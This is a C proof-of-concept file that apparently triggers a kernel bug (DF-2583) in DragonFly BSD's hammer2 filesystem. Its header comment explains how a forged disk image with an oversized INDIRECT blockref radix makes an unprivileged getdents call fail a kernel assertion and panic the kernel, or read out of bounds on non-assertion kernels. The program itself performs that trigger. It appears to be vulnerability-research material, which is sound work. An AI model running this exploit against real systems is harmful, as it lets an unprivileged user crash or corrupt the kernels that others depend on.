/*
 * poc.c - DF-2583 trigger: readdir into a hammer2 directory whose
 *         INDIRECT blockref has been forged with an oversized radix.
 *
 * The forged image (produced by forge.c) contains an INDIRECT bref whose
 * data_off radix has been inflated (e.g. radix 17 -> parent->bytes=128KB).
 * When the kernel loads this chain (during readdir/getdents of any entry
 * in the directory) it computes chain->bytes = 1<<radix and calls
 * hammer2_io_bread with that size.  In hammer2_io_alloc, the KKASSERT
 *
 *   KKASSERT(pbase != 0 && ((lbase + lsize - 1) & pmask) == pbase);
 *
 * fails for radix > 16 (lsize > HAMMER2_PBUFSIZE=64KB), panicking the
 * kernel.  On a non-INVARIANTS kernel the assertion is skipped and the
 * OOB manifests later at hammer2_flush_core:1094 where
 *   count = parent->bytes / sizeof(hammer2_blockref_t)
 * iterates far past the actual buffer (which is only HAMMER2_PBUFSIZE).
 *
 * Run as unprivileged user (maxx) on a hammer2 mount whose image was
 * forged by forge.c.  readdir'ing the directory triggers the INDIRECT
 * load -> panic.
 *
 * Build:  cc -O2 -o poc poc.c
 * Usage:  ./poc <dir>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/syscall.h>

/* DragonFly getdents = syscall 480 */
#ifndef SYS_getdents
#define SYS_getdents 480
#endif

int main(int argc, char **argv)
{
    const char *dir;
    int fd, rc;
    ssize_t n;
    char buf[16384];

    if (argc < 2) {
        fprintf(stderr, "usage: %s <dir>\n", argv[0]);
        return 2;
    }
    dir = argv[1];

    /* opendir/getdents forces the kernel to descend into the directory's
     * INDIRECT bref, which is the forged chain.  Just stat()ing the dir
     * itself is not enough -- the kernel caches the inode and never loads
     * the INDIRECT block. */
    fd = open(dir, O_RDONLY | O_DIRECTORY);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    printf("[*] getdents(%s) -> triggers INDIRECT chain load\n", dir);
    fflush(stdout);
    n = syscall(SYS_getdents, fd, buf, sizeof(buf));
    rc = errno;
    printf("[*] getdents returned %zd (errno=%d %s)\n",
           n, rc, n < 0 ? strerror(rc) : "ok");
    fflush(stdout);
    /* If we get here, the kernel did NOT panic -- either the bug was
     * fixed (radix rejected/clamped before the KKASSERT) or the radix
     * we forged didn't make the chain loadable. */
    close(fd);
    return 0;
}
